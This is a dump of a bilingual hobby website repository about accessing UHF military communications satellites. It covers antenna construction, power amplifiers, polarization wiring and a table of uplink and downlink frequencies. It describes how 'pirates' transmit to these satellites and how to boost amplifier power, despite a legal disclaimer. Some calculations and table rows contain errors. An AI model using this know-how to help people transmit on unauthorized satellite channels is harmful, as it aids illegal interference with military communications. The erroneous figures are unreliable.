6mm.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_pdf/antennas/5EL 6mm.pdf -------------------------------------------------------------------------------- /docs/_pdf/antennas/5EL.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_pdf/antennas/5EL.pdf -------------------------------------------------------------------------------- /docs/_pdf/antennas/8EL.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_pdf/antennas/8EL.pdf -------------------------------------------------------------------------------- /docs/_sidebar.md: -------------------------------------------------------------------------------- 1 | 2 | * [Home](/) 3 | * **Radios** 4 | * [Zastone/Vitai UV008](/radios/zastone-uv008.md) 5 | * [Quansheng UV-K5](/radios/quansheng-uvk5.md) 6 | * [Tidradio H3](/radios/tidradio-h3.md) 7 | * [Wouxun KG-UVR5](/radios/wouxun-kg-uvr5.md) 8 | * [Wouxun KG-UV7H](/radios/wouxun-kg-uv7h.md) 9 | * [Linear Amplifiers](/amplifiers/index.md) 10 | * [Transverters](/transverters/index.md) 11 | * **Antennas** 12 | * [Circular polarization](/antennas/polarization.md) 13 | * **Types** 14 | * [Yagi](/antennas/yagi.md) 15 | * [Turnstile](/antennas/turnstile.md) 16 | * [Dipole](/antennas/dipole.md) 17 | * [Monopole](/antennas/monopole.md) 18 | * [Frequencies](/freq.md) 19 | * [Web SDR](/sdr.md) 20 | -------------------------------------------------------------------------------- /docs/_stl/Director.stl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_stl/Director.stl -------------------------------------------------------------------------------- /docs/_stl/Radiant.stl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_stl/Radiant.stl -------------------------------------------------------------------------------- /docs/amplifiers/index.md: -------------------------------------------------------------------------------- 1 | # Amplifiers 2 | 3 | Pirates reach the satellite with only 2W of power and a directional or dipole antenna. 4 | Having more power just make their voice stand out more and easier to be heard by deaf antennas. 5 | 6 | It doesn't make much sense to have more than 50W-60W of output power since the satellite repeater has a maximum power of 50W 7 | 8 | ## Aliexpress amplifier 9 | 10 | To increase the transmit power they get one of the VHF/UHF amplifiers on aliexpress that run with the MITSUBISHI RA or M power modules 11 | 12 | 13 | 14 | 15 | To make the amplifier work, ideally it needs a RA30H3340 power module altough some people use a RA55H3340, RA60H3340, RA30H2127M and others but with less output power. 16 | 17 | Those amplifiers usually work at 12 volts but some people increase their voltage up to a limit of 18 volts 18 | to get more power when they are running outside of their designated frequencies. 19 | 20 | Bear in mind that those amplifiers generate a lot of **heat**! 21 | You need to have a proper (and large) heatsink and an aluminium case for them 22 | 23 | Here you can see an example of the enclosure of an amplifier and a lowpass filter 24 | 25 | 26 | 27 | 28 | Here you can see a [Video](https://satcomradio.github.io/_img/amplifier/video.mp4) of this amplifier. 29 | The output power depends on the power module, the voltage and the input power. 30 | 31 | ### Power modules modification 32 | 33 | There have been attempts to make modifications of the power modules and get over 100W of output power. 34 | Unfortunately they seem to be quite complex and it's just easier to combine multiple amplifiers. 35 | 36 | 37 | 38 | 39 | Search `RA60H3340M1A` messages made by "Konstantin Z" on the russian Satcom [telegram](https://t.me/kosmo_konservatoria/221936) channel to see the details 40 | 41 | ## Custom amplifier 42 | 43 | There's an amplifier made by P0150N in the russian Satcom [telegram](https://t.me/kosmo_konservatoria/173846) for RA3ZTQ but it's performance is not known 44 | 45 | 46 | 47 | ### Sources: 48 | 49 | [Amplifier case](https://www.c4fmdmr.com/post/c%C3%B3mo-construir-un-amplificador-de-vhf-uhf-de-bajo-costo-para-un-ht-o-handy-por-rubens-ka6vha) 50 | [Amplifier manual](https://satcomradio.github.io/_pdf/amplifier/amplifier_manual.pdf) 51 | -------------------------------------------------------------------------------- /docs/antennas/dipole.md: -------------------------------------------------------------------------------- 1 | # Dipole antenna 2 | 3 | This antenna works a bit better than the monopole altough is not so portable. 4 | 5 | 6 | 7 | Tipically the total length of a dipole is calculated as 8 | 9 | `L = λ/2 * VF` 10 | 11 | So each leg of the dipole is `L/2` 12 | 13 | For the VF of each material you can use this table: 14 | 15 | | Material | VF | 16 | | ------------------------------------- | ----------- | 17 | | Aluminium | 0.94 | 18 | | Brass | 0.95 | 19 | | Copper | 0.95 | 20 | | Insulators (PVC,PE,Teflon) | 0.94-0.98 | 21 | | Iron | 0.90 | 22 | | Steel | 0.90 | 23 | | Insulated Copper (Copper*Insulator) | 0.95*0.96 | 24 | 25 | As an example let's make it for 280mhz using Insulated copper 26 | 27 | ``` 28 | 280mhz = 28000000hz 29 | λ = c/f = 299792458/28000000 ≃ 300/280 = 1.071m 30 | 31 | Total length = 1.071/2*0.98*0.95 = 0.498m 32 | Length of each leg = 0.498/2 = 0.249m 33 | ``` 34 | 35 | Most constructions however use a length of 0.235m for each leg as they take into consideration the separation between the active elements. 36 | As always, it's better to use NanoVNA to do the final tunning of the antenna. 37 | 38 | Some people add a director to this antenna. It will not work perfectly since it's very close to the active element but it makes the antenna a bit more directional 39 | 40 | Usually the director has a length of 0.325m and is attached to the Banana using double side tape or 3d printed parts. 41 | 42 | 43 | 44 | 45 | 46 | ### Sources: 47 | 48 | [Youtube construction video](https://youtu.be/Q9kyX0oMdtQ?si=bD8NNUBlY7qiXXqT) -------------------------------------------------------------------------------- /docs/antennas/monopole.md: -------------------------------------------------------------------------------- 1 | # Monopole antenna 2 | 3 | This antenna is probably the worst in terms of reception but it still can reach the satellite without issues and it's very portable 4 | 5 | 6 | 7 | Simply cut 30cm of a RG213 cable and solder the central core to the connector. After that, leave 1,5cm of wire at the top. 8 | Make sure that the **mesh does not touch the connector** 9 | Do the final adjustments with NanoVNA and cut the cable until it reaches the frequency you want and always leave 1,5cm of cable exposed at the tip. 10 | 11 | 12 | 13 | 14 | Another alternative is to buy the antenna NA-320A, cut it in the red circle and adjust with the NanoVNA 15 | 16 | 17 | 18 | [Related video](https://www.youtube.com/watch?v=XA78nIEK8Kg) -------------------------------------------------------------------------------- /docs/antennas/monopole_bazuka.md: -------------------------------------------------------------------------------- 1 | # Monopole antenna "bazuca" 2 | 3 | Another version of the monopole antenna a bit more difficult to make but it still can reach the satellite with around 10W of power 4 | 5 | 6 | 7 | As an example let's make it for 280mhz using RG213 wire with a VF of 0.66 8 | 9 | ``` 10 | 280mhz = 28000000hz 11 | λ = c/f = 299792458/28000000 ≃ 300/280 = 1.071m 12 | 13 | Total length = 1.071/4 = 0.267m 14 | Wire length = (1.071/4)*0.66 = 0.176m 15 | ``` 16 | 17 | It's important that you check the connections since the mesh goes to the central pin of the PL connector and the core goes to the ground. 18 | You can put some plastic cap and heat shrink tube at the top to protect it. -------------------------------------------------------------------------------- /docs/antennas/polarization.md: -------------------------------------------------------------------------------- 1 | # Circular Polarization 2 | 3 | Since the satellites are spinning in their axis, we cannot use vertical or horizontal polarization as we would 4 | eventually reach 90 degrees between the satellite and our antenna polarization and we would not recieve the signal. 5 | 6 | Therefore, we must use circular polarization 7 | 8 | 9 | 10 | 11 | 12 | 13 | To achieve circular polarization you can use a helical antenna or a cross yagi/turnstile. 14 | 15 | If you are going to use a crossyagi or a turnstile since you're using 2 antennas you must match the impedance and you need to delay one of the signals. 16 | for the delay part, you can do it either by moving the vertical elements away from the horizontal elements or delaying the signal using 17 | wires if vertical and horizontal elements are in the same plane 18 | 19 | ## Wiring 20 | 21 | 22 | 23 | Instead of RG58/RG59 you can use thinner wires, but you need to check their **velocity factor** in the datasheet of your cables. 24 | 25 | In this example I will try to make a matching stub for 280mhz using RG179 and RG178. 26 | 27 | ``` 28 | RG179 (75ohm) VF=0,69 (69%) 29 | RG178 (50ohm) VF=0.7 (70%) 30 | 31 | 280mhz = 28000000hz 32 | λ = c/f = 299792458/28000000 ≃ 300/280 = 1.071m 33 | 34 | Phase Stub. One of the wires needs to be longer than the other one to delay the signal but both have to be of 50ohm 35 | Short: (1.071/4)*0.7 = 0.187m 36 | Long: (1.071/2)*0.7 = 0.374m 37 | 38 | Matching stub. Both wires have to be of 75 ohm. The idea is to match the impedance of the 2 antenas 39 | Length: 1.071/4*0.69 = 0.1847m 40 | ``` 41 | 42 | It's important how you connect the core of the cables! If you don't connect them properly you will not get **right hand** circular polarization. 43 | 44 | 45 | 46 | ## Hybrid couplers 47 | 48 | If you don't want to deal with wires, you can also get a *Anaren 10260-3* or *Anaren 1B0260-3* hybrid coupler. 49 | 50 | 51 | 52 | This is what they use on professional antennas 53 | 54 | 55 | 56 | For the connections, you need to use a 50ohm resistor between the ground and the ISO pin 57 | 58 | 59 | 60 | 61 | With this you can make some really small antennas and be sure that the polarization is correct 62 | 63 | 64 | 65 | 66 | You can usually get them on ebay from old military radio equipments that have been dissasembled. 67 | 68 | ### Sources: 69 | 70 | [Alicia Space](https://alicja.space/blog/how-to-build-turnstile-antenna/) 71 | [Qsl](https://www.qsl.net/sv1bsx/antenna-pol/polarization.html) 72 | [Anaren](https://twitter.com/tvoje___mama/status/1504770518033051684) 73 | -------------------------------------------------------------------------------- /docs/antennas/turnstile.md: -------------------------------------------------------------------------------- 1 | # Turnstile antenna 2 | 3 | This antenna is better than the dipole as it has circular polarization and it also has a reflector to avoid radiating towards the ground. 4 | It's basically a cross-yagi without the director elements so it radiates in all directions. 5 | 6 | 7 | 8 | For the VF of each material you can use this table: 9 | 10 | | Material | VF | 11 | | ------------------------------------- | ----------- | 12 | | Aluminium | 0.94 | 13 | | Brass | 0.95 | 14 | | Copper | 0.95 | 15 | | Insulators (PVC,PE,Teflon) | 0.94-0.98 | 16 | | Iron | 0.90 | 17 | | Steel | 0.90 | 18 | | Insulated Copper (Copper*Insulator) | 0.95*0.96 | 19 | 20 | As an example let's make it for 280mhz and using steel rods 21 | 22 | ``` 23 | 280mhz = 28000000hz 24 | λ = c/f = 299792458/28000000 ≃ 300/280 = 1.071m 25 | 26 | X = 1.071/2 * 0.9 = 0.481m 27 | Y = 1.071/2 = 0.535m 28 | Z = 3/8 * 1.071 = 0.401m 29 | ``` 30 | 31 | Since it has circular polarization be sure to check on how to do the [wiring](/polarization.md) 32 | 33 | 34 | 35 | ### Sources: 36 | 37 | [Alicia Space](https://alicja.space/blog/how-to-build-turnstile-antenna/) 38 | [ARRL Antenna Book for Radio Communications](https://www.arrl.org/arrl-antenna-book) -------------------------------------------------------------------------------- /docs/antennas/yagi.md: -------------------------------------------------------------------------------- 1 | # Yagi antenna 2 | 3 | It doesn't make sense to describe how a yagi antenna is made since there's a lot of literature about them around internet. 4 | Just be aware that they are directional compared to the turnstile and as long as they are pointed to the satellite, they will recieve better. 5 | 6 | If you want to implement circular polarization and make them cross-yagi, be sure to check the relevent [article](/polarization.md) 7 | 8 | 9 | 10 | Here you have some of the most common designs used for Satcom. The more elements they have, the better they will work. 11 | 12 | [4 Element Yagi](https://satcomradio.github.io/_pdf/antennas/4EL.pdf) 13 | [5 Element Yagi](https://satcomradio.github.io/_pdf/antennas/5EL.pdf) 14 | [8 Element Yagi](https://satcomradio.github.io/_pdf/antennas/8EL.pdf) 15 | [10 Element Yagi](https://satcomradio.github.io/_pdf/antennas/10EL.pdf) 16 | [11 Element Yagi](https://satcomradio.github.io/_pdf/antennas/11EL.pdf) 17 | 18 | [This is the antenna I use but with 6 elements only](https://satcomradio.github.io/_img/antennas/yagi.jpg) 19 | 20 | ----- 21 | 22 | If you want to use a square boom of 20x20mm and 8 mm bars as elements, you can use the following 3d printed stl: 23 | [Radiant](https://satcomradio.github.io/_stl/Radiant.stl) 24 | [Director/Reflector](https://satcomradio.github.io/_stl/Director.stl) -------------------------------------------------------------------------------- /docs/es/README.md: -------------------------------------------------------------------------------- 1 | # Satcom radio 2 | 3 | Bienvenido a la pagina de "Satcom radio" para radioaficionados 4 | Únete a nuestro [canal de telegram](https://t.me/satcom_radio) para mantenerte informado. 5 | 6 | [Email](satcomradioham@gmail.com) de contacto 7 | 8 | ------ 9 | 10 | Importante. Comprueba los aspectos legales de tu pais para evitar transmitir en frecuencias no autorizadas! 11 | Esta prohibido transmitir en las bandas de satcom sin permiso! 12 | ------ 13 | 14 | ## Radios 15 | 16 | En la sección de radios encontrarás radios que funcionan con satcom sin modificaciones complejas. 17 | **No** es una lista completa de radios. Hay otras radios que funcionan directamente como la QYT 7900D, Baofeng 1802U, Baofeng 1801. 18 | Tambien hay muchos mods para otras radios como Zastone M7, TYT 9000D y demás, pero las modificaciones son más complejas por lo que es 19 | más fácil centrarse en las radios que figuran en este sitio web. 20 | 21 | ## Transversor (transverter) 22 | 23 | Un [transversor](/es/transverters/index.md) puede ser la mejor manera de comunicarse con satcom y reutilizar una radio VHF/UHF que ya tengas con una buena potencia de salida. 24 | 25 | ## Frecuencias 26 | 27 | Consulta la página de [frecuencias](/es/freq.md) que puedes escuchar con tu radio o con un [SDR online](/es/sdr.md) 28 | -------------------------------------------------------------------------------- /docs/es/_navbar.md: -------------------------------------------------------------------------------- 1 | *   2 | * [:uk: English](/) 3 | * :es: **Español** 4 | -------------------------------------------------------------------------------- /docs/es/_sidebar.md: -------------------------------------------------------------------------------- 1 | 2 | * [Inicio](/es/) 3 | * **Equipos** 4 | * [Zastone/Vitai UV008](/es/radios/zastone-uv008.md) 5 | * [Quansheng UV-K5](/es/radios/quansheng-uvk5.md) 6 | * [Tidradio H3](/es/radios/tidradio-h3.md) 7 | * [Wouxun KG-UVR5](/es/radios/wouxun-kg-uvr5.md) 8 | * [Wouxun KG-UV7H](/es/radios/wouxun-kg-uv7h.md) 9 | * [Amplificadores](/es/amplificadores/index.md) 10 | * [Transverters](/es/transverters/index.md) 11 | * **Antenas** 12 | * [Polarizacion circular](/es/antenas/polarizacion.md) 13 | * **Tipos** 14 | * [Yagi](/es/antenas/yagi.md) 15 | * [Turnstile](/es/antenas/turnstile.md) 16 | * [Dipolo](/es/antenas/dipolo.md) 17 | * [Monopolo](/es/antenas/monopolo.md) 18 | * [Frecuencias](/es/freq.md) 19 | * [Web SDR](/es/sdr.md) 20 | * [Telegram](/es/telegram.md) -------------------------------------------------------------------------------- /docs/es/amplificadores/index.md: -------------------------------------------------------------------------------- 1 | # Amplificadores 2 | 3 | Los piratas llegan al satélite con sólo 2W de potencia y una antena direccional o dipolo. 4 | Tener mas potencia solo hace que su voz destaque mas y sea mas facil de ser escuchada por antenas sordas. 5 | 6 | No tiene mucho sentido tener mas de 50W-60W de potencia de salida ya que el repetidor del satelite tiene una potencia maxima de 50W 7 | 8 | ## Amplificador Aliexpress 9 | 10 | Para aumentar la potencia de transmisión consiguen uno de los amplificadores VHF/UHF en aliexpress que funcionan con los módulos de potencia MITSUBISHI RA o M 11 | 12 | 13 | 14 | 15 | Para que el amplificador funcione, lo ideal es un módulo de potencia RA30H3340 aunque algunas personas utilizan un RA55H3340, RA60H3340, RA30H2127M u otros aunque con menor potencia de salida. 16 | 17 | Esos amplificadores suelen funcionar a 12 voltios, pero algunas personas aumentan su voltaje hasta un límite de 18 voltios 18 | para obtener más potencia cuando funcionan fuera de sus frecuencias designadas. 19 | 20 | Hay que tener en cuenta que estos amplificadores generan mucho **calor** 21 | Por ello se necesita un disipador adecuado (grande) y una carcasa de aluminio para ellos. 22 | 23 | Aquí se puede ver un ejemplo de la caja de un amplificador y un filtro paso bajo 24 | 25 | 26 | 27 | 28 | Aquí se puede ver un [Video](https://satcomradio.github.io/_img/amplifier/video.mp4) de este amplificador. 29 | La potencia de salida depende del módulo de potencia, del voltaje y de la potencia de entrada. 30 | 31 | ### Modificación de los módulos de potencia 32 | 33 | Ha habido intentos de hacer modificaciones de los módulos de potencia y conseguir más de 100W de potencia de salida. 34 | Desafortunadamente parecen ser bastante complejos y es más fácil combinar varios amplificadores. 35 | 36 | 37 | 38 | 39 | Busca los mensajes `RA60H3340M1A` realizados por "Konstantin Z" en el canal de [telegram](https://t.me/kosmo_konservatoria/221936) para ver los detalles 40 | 41 | ## Amplificador personalizado 42 | 43 | Hay un amplificador hecho por P0150N en el [telegram](https://t.me/kosmo_konservatoria/173846) de Satcom ruso pero su rendimiento no es conocido 44 | 45 | 46 | 47 | ### Fuentes: 48 | 49 | [Caja del amplificador](https://www.c4fmdmr.com/post/c%C3%B3mo-construir-un-amplificador-de-vhf-uhf-de-bajo-costo-para-un-ht-o-handy-por-rubens-ka6vha) 50 | [Manual del amplificador](https://satcomradio.github.io/_pdf/amplifier/amplifier_manual.pdf) 51 | -------------------------------------------------------------------------------- /docs/es/antenas/dipolo.md: -------------------------------------------------------------------------------- 1 | # Antena dipolo 2 | 3 | Esta antena funciona mejor que la monopolo pero es menos portatil. 4 | 5 | 6 | 7 | Por norma general su longitud se calcula con la formula 8 | 9 | `L = λ/2 * VF` 10 | 11 | Por lo que cada pata de la dipolo tiene una longitud de `L/2` 12 | 13 | Para la VF (factor de velocidad) de cada material se puede utilizar la siguiente tabla: 14 | 15 | | Material | VF | 16 | | ------------------------------------- | ----------- | 17 | | Aluminio | 0.94 | 18 | | Bronce | 0.95 | 19 | | Cobre | 0.95 | 20 | | Auslantes (PVC,PE,Teflon) | 0.94-0.98 | 21 | | Hierro | 0.90 | 22 | | Acero | 0.90 | 23 | | Cobre aislado (Cobre*Aislante) | 0.95*0.96 | 24 | 25 | Realizaremos un ejemplo para 280mhz usando cobre con aislante 26 | 27 | ``` 28 | 280mhz = 28000000hz 29 | λ = c/f = 299792458/28000000 ≃ 300/280 = 1.071m 30 | 31 | Longitud total = 1.071/2*0.98*0.95 = 0.498m 32 | Longitud de cada pata = 0.498/2 = 0.249m 33 | ``` 34 | 35 | La mayoria de las construcciones utilizan 0.235m para cada pata ya que tambien calculan la distancia de separacion entre los elementos radiantes. 36 | Como siempre, es mejor utilizar el NanoVNA para hacer los ajustes finales. 37 | 38 | Algunas personas añaden un director a la antena. No va a funcionar a la perfeccion ya que la distancia es 39 | muy corta pero consige transformarla en una antena mas direccional 40 | 41 | Por lo general el director tiene una longitud de 0.325 y se une al conector banana usando cinta de doble cara o piezas impresas en 3d. 42 | 43 | 44 | 45 | 46 | 47 | 48 | ### Fuentes: 49 | 50 | [Youtube construction video](https://youtu.be/Q9kyX0oMdtQ?si=bD8NNUBlY7qiXXqT) -------------------------------------------------------------------------------- /docs/es/antenas/monopolo.md: -------------------------------------------------------------------------------- 1 | # Antena monopolo 2 | 3 | Es probablemente la peor antena en terminos de recepcion pero aun asi puede llegar al satelite sin problemas y es muy portátil. 4 | 5 | 6 | 7 | Simplemente corta un cable RG213 de 30 cm y suelda el cable central al conector. 8 | **Asegurate que la malla no toca el conector** 9 | En la parte de arriba corta la malla 1,5cm y deja el cable interior al aire. 10 | 11 | Finalmente con el NanoVNA debes ir cortando el cable hasta que quede en la frecuencia que te interesa y siempre dejando 1,5cm de cable expuesto en la punta. 12 | 13 | 14 | 15 | 16 | Otra alternativa es comprar la antena NA-320A, cortarla en la zona marcada en rojo y ajustar con NanoVNA 17 | 18 | 19 | 20 | 21 | [Video relacionado](https://www.youtube.com/watch?v=XA78nIEK8Kg) -------------------------------------------------------------------------------- /docs/es/antenas/monopolo_bazuca.md: -------------------------------------------------------------------------------- 1 | # Antena monopolo "bazuca" 2 | 3 | Otra version de la antena monopolo un poco mas complicada de fabricar pero aun asi puede llegar al satelite con unos 10W de potencia. 4 | 5 | 6 | 7 | En este ejemplo se muestra el calculo para 280mhz usando cable RG213 con una VF (factor de velocidad) de 0.66 8 | 9 | ``` 10 | 280mhz = 28000000hz 11 | λ = c/f = 299792458/28000000 ≃ 300/280 = 1.071m 12 | 13 | Longitud total = 1.071/4 = 0.267m 14 | Longitud cable = (1.071/4)*0.66 = 0.176m 15 | ``` 16 | 17 | Es importante verificar las conexiones ya que la malla debe conectarse al pin central del conector PL y el nucleo del cable al neutro del conector. 18 | Finalmente se puede poner algun tipo de proteccion de plastico o tubo termoretractil para protejer el cable. -------------------------------------------------------------------------------- /docs/es/antenas/polarizacion.md: -------------------------------------------------------------------------------- 1 | # Polarización circular 2 | 3 | Dado que los satélites están girando en su eje, no podemos utilizar polarización vertical u horizontal ya que llegaríamos a 4 | llegaríamos a 90 grados entre la polarización del satélite y la de nuestra antena y no recibiríamos la señal. 5 | 6 | Por lo tanto, debemos utilizar la polarización circular 7 | 8 | 9 | 10 | 11 | 12 | 13 | Para conseguir polarización circular puedes usar una antena helicoidal o una cross-yagi/turnstile. 14 | 15 | Para usar una antenna de tipo cross-yagi o torniquete, debido a que contienen 2 antenas a 90º, se debe igualar la impedancia y retrasar una de las señales. 16 | Para retrasar la señal, se puede hacer alejando elementos verticales de los horizontales o retrasando la señal usando 17 | cables si los elementos verticales y horizontales están en el mismo plano 18 | 19 | ## Cableado 20 | 21 | 22 | 23 | En lugar de RG58/RG59 se pueden usar cables más finos, pero es necesario comprobar su **factor de velocidad** (VF o velocity factor) en el datasheet de cables. 24 | En este ejemplo se realiza un latiguilloe para 280mhz usando cables RG179 y RG178. 25 | 26 | ``` 27 | RG179 (75ohm) VF=0,69 (69%) 28 | RG178 (50ohm) VF=0,7 (70%) 29 | 30 | 280mhz = 28000000hz 31 | λ = c/f = 299792458/28000000 ≃ 300/280 = 1,071m 32 | 33 | Latiguillo de fase. Uno de los cables tiene que ser más largo que el otro para retrasar la señal pero ambos tienen que ser de 50ohm 34 | Corto: (1,071/4)*0,7 = 0,187m 35 | Largo: (1,071/2)*0,7 = 0,374m 36 | 37 | Latiguillo de adaptación. Ambos cables deben ser de 75 ohmios. La idea es igualar la impedancia de las 2 antenas 38 | Longitud: 1.071/4*0.69 = 0.1847m 39 | ``` 40 | 41 | Es importante cómo se conecta el núcleo de los cables. Si no se conectan correctamente no se obtendrá una **polarización circular hacia la derecha**. 42 | 43 | 44 | 45 | ## Acopladores híbridos 46 | 47 | Si se quiere evitar lidiar con cables, se puedes utilizar un acoplador híbrido *Anaren 10260-3* o *Anaren 1B0260-3*. 48 | 49 | 50 | 51 | Es muy utilizado en las antenas profesionales 52 | 53 | 54 | 55 | Para las conexiones, se debe usar una resistencia de 50ohm entre la masa y el pin ISO 56 | 57 | 58 | 59 | 60 | De esta forma se pueden obtener antenas pequeñas y estar seguro de que la polarización es correcta 61 | 62 | 63 | 64 | 65 | Se suelen conseguir en ebay de equipos de radio militares antiguos desmontados. 66 | 67 | ### Fuentes: 68 | 69 | [Alicia Space](https://alicja.space/blog/how-to-build-turnstile-antenna/) 70 | [Qsl](https://www.qsl.net/sv1bsx/antenna-pol/polarization.html) 71 | [Anaren](https://twitter.com/tvoje___mama/status/1504770518033051684) -------------------------------------------------------------------------------- /docs/es/antenas/turnstile.md: -------------------------------------------------------------------------------- 1 | # Turnstile antenna 2 | 3 | Esta antena es mejor que la dipolo ya que tiene polarización circular y también tiene un reflector para evitar irradiar en dirección al suelo. 4 | Es basicamente una cross-yagi sin los elementos directores por lo que irradia en todas las direcciones. 5 | 6 | 7 | 8 | Para la VF (factor de velocidad) de cada material se puede utilizar la siguiente tabla: 9 | 10 | | Material | VF | 11 | | ------------------------------------- | ----------- | 12 | | Aluminio | 0.94 | 13 | | Bronce | 0.95 | 14 | | Cobre | 0.95 | 15 | | Auslantes (PVC,PE,Teflon) | 0.94-0.98 | 16 | | Hierro | 0.90 | 17 | | Acero | 0.90 | 18 | | Cobre aislado (Cobre*Aislante) | 0.95*0.96 | 19 | 20 | Haremos un ejemplo para 280mhz con barras de acero 21 | 22 | ``` 23 | 280mhz = 28000000hz 24 | λ = c/f = 299792458/28000000 ≃ 300/280 = 1.071m 25 | 26 | X = 1.071/2 * 0.9 = 0.481m 27 | Y = 1.071/2 = 0.535m 28 | Z = 3/8 * 1.071 = 0.401m 29 | ``` 30 | 31 | Ya que tiene polarizacion circular, se debe tener en cuenta el [cableado](/es/polarizacion.md) 32 | 33 | 34 | 35 | ### Fuentes: 36 | 37 | [Alicia Space](https://alicja.space/blog/how-to-build-turnstile-antenna/) 38 | [ARRL Antenna Book for Radio Communications](https://www.arrl.org/arrl-antenna-book) -------------------------------------------------------------------------------- /docs/es/antenas/yagi.md: -------------------------------------------------------------------------------- 1 | # Yagi antenna 2 | 3 | No tiene sentido describir como se fabrica una antena de tipo yagi ya que hay muchisima literatura en internet al respecto. 4 | Solo se debe tener en cuenta que son mas direccionales que la turnstile y que si estan bien apuntadas hacia el satélite recibirán mejor. 5 | 6 | En caso de querer hacerla cross-yagi, se debe tener en cuenta el [cableado](/es/polarizacion.md) 7 | 8 | 9 | 10 | En estos enlaces se pueden ver algunos ejemplos de los diseños mas comunes para Satcom. Cuantos mas elementos tengan, mejor van a funcionar. 11 | 12 | [Yagi 4 elementos](https://satcomradio.github.io/_pdf/antennas/4EL.pdf) 13 | [Yagi 5 elementos](https://satcomradio.github.io/_pdf/antennas/5EL.pdf) 14 | [Yagi 8 elementos](https://satcomradio.github.io/_pdf/antennas/8EL.pdf) 15 | [Yagi 10 elementos](https://satcomradio.github.io/_pdf/antennas/10EL.pdf) 16 | [Yagi 11 elementos](https://satcomradio.github.io/_pdf/antennas/11EL.pdf) 17 | 18 | [Esta es la antena que yo utilizo pero con 6 elementos unicamente](https://satcomradio.github.io/_img/antennas/yagi.jpg) 19 | 20 | ----- 21 | 22 | Si quieres usar un tubo cuadrado de 20x20mm y barras de 8 mm, puedes usar los siguientes stl e imprimirlos en 3d: 23 | [Radiante](https://satcomradio.github.io/_stl/Radiant.stl) 24 | [Director/Reflector](https://satcomradio.github.io/_stl/Director.stl) -------------------------------------------------------------------------------- /docs/es/freq.md: -------------------------------------------------------------------------------- 1 | # Frecuencias 2 | 3 | Aqui tienes una tabla con la mayoria de frecuencias con su offset. 4 | Ten en cuenta que los distintos satélites tienen frecuencias diferentes, por lo que es posible que muchos de ellos no sean visibles desde tu ubicación. 5 | En algunas frecuencias todavia no se ha encontrado la frecuencia de TX. Puedes enviarme un [email](satcomradioham@gmail.com) en caso de que la quieras añadir. 6 | Todas las frecuencias han sido probadas con [Rikmotik SDR](https://rikmotik.ru/#freq=253650000,mod=nfm,sql=-22) o [Gudynas SDR](https://sdr.gudynas.lt/#freq=146400000,mod=nfm,sql=-150) 7 | 8 | | Rx | Tx | Offset | Satellite | Width | Notes | 9 | | ------- | ------- | ------ | ------------ | ------ | ------------------------------- | 10 | | 243.625 | 300.400 | 56.775 | Comsat BW2 | 30 khz | | 11 | | 243.625 | 316.725 | 73.100 | UFO 11 | 30 khz | | 12 | | 243.800 | 298.200 | 54.400 | Intelsat 22 | 30 khz | | 13 | | 243.915 | 317.015 | 73.100 | UFO 11 | 30 khz | | 14 | | 243.935 | 317.035 | 73.100 | UFO 11 | 6 khz | | 15 | | 243.945 | 317.045 | 73.100 | UFO 11 | 6 khz | | 16 | | 243.955 | 317.055 | 73.100 | UFO 11 | 6 khz | | 17 | | 243.965 | 317.065 | 73.100 | UFO 11 | 6 khz | | 18 | | 243.975 | 317.075 | 73.100 | UFO 11 | 6 khz | | 19 | | 243.985 | 317.085 | 73.100 | UFO 11 | 6 khz | Beacon 5s | 20 | | 243.990 | 317.090 | 73.100 | FLT 8 | 6 khz | | 21 | | 244.995 | 317.095 | 72.100 | FLT 8 | 6 khz | | 22 | | 244.000 | 317.100 | 73.100 | FLT 8 | 6 khz | | 23 | | 244.030 | 317.170 | 73.140 | UFO 11 | 6 khz | | 24 | | 244.040 | 317.230 | 73.190 | UFO 11 | 6 khz | | 25 | | 244.050 | 317.240 | 73.190 | UFO 11 | 6 khz | | 26 | | 244.060 | 317.210 | 73.150 | UFO 11 | 6 khz | | 27 | | 244.090 | 317.190 | 73.100 | UFO 11 | 6 khz | | 28 | | 244.115 | 317.215 | 73.100 | UFO 11 | 6 khz | | 29 | | 244.155 | 317.255 | 73.100 | UFO 11 | 6 khz | | 30 | | 244.165 | 317.265 | 73.100 | UFO 11 | 6 khz | | 31 | | 244.175 | 317.275 | 73.100 | UFO 11 | 6 khz | | 32 | | 244.185 | 317.285 | 73.100 | UFO 11 | 6 khz | | 33 | | 244.195 | 317.295 | 73.100 | UFO 11 | 6 khz | | 34 | | 244.205 | 317.305 | 73.100 | UFO 11 | 6 khz | | 35 | | 244.225 | 317.325 | 73.100 | UFO 11 | 30 khz | | 36 | | 244.275 | 301.025 | 56.750 | Comsat BW1 | 30 khz | | 37 | | 244.975 | 293.000 | 48.025 | Skynet 4C | 30 khz | | 38 | | 245.200 | 314.450 | 69.250 | UFO 10 | 30 khz | | 39 | | 245.800 | 309.410 | 63.610 | Skynet 5C | 30 khz | RU | 40 | | 245.850 | 314.230 | 68.380 | Skynet 5A | 30 khz | | 41 | | 245.950 | 313.000 | 67.050 | Skynet 5D | 30 khz | | 42 | | 246.250 | 295.600 | 49.350 | Skynet 4C | 30 khz | | 43 | | 246.700 | 297.700 | 51.000 | Skynet 4C | 30 khz | | 44 | | 247.450 | 298.800 | 51.350 | Skynet 5D | 30 khz | RU | 45 | | 248.450 | 298.950 | 50.500 | Skynet 4C? | 30 khz | | 46 | | 248.750 | 306.900 | 58.150 | Comsat BW2 | 30 khz | | 47 | | 248.825 | 294.375 | 45.550 | UFO 11 | 30 khz | | 48 | | 248.845 | 302.445 | 53.600 | UFO 11 | 6 khz | | 49 | | 248.855 | 302.455 | 53.600 | UFO 11 | 6 khz | | 50 | | 248.865 | 302.465 | 53.600 | UFO 11 | 6 khz | | 51 | | 248.875 | 302.475 | 53.600 | UFO 11 | 6 khz | | 52 | | 248.885 | 302.485 | 53.600 | UFO 11 | 6 khz | | 53 | 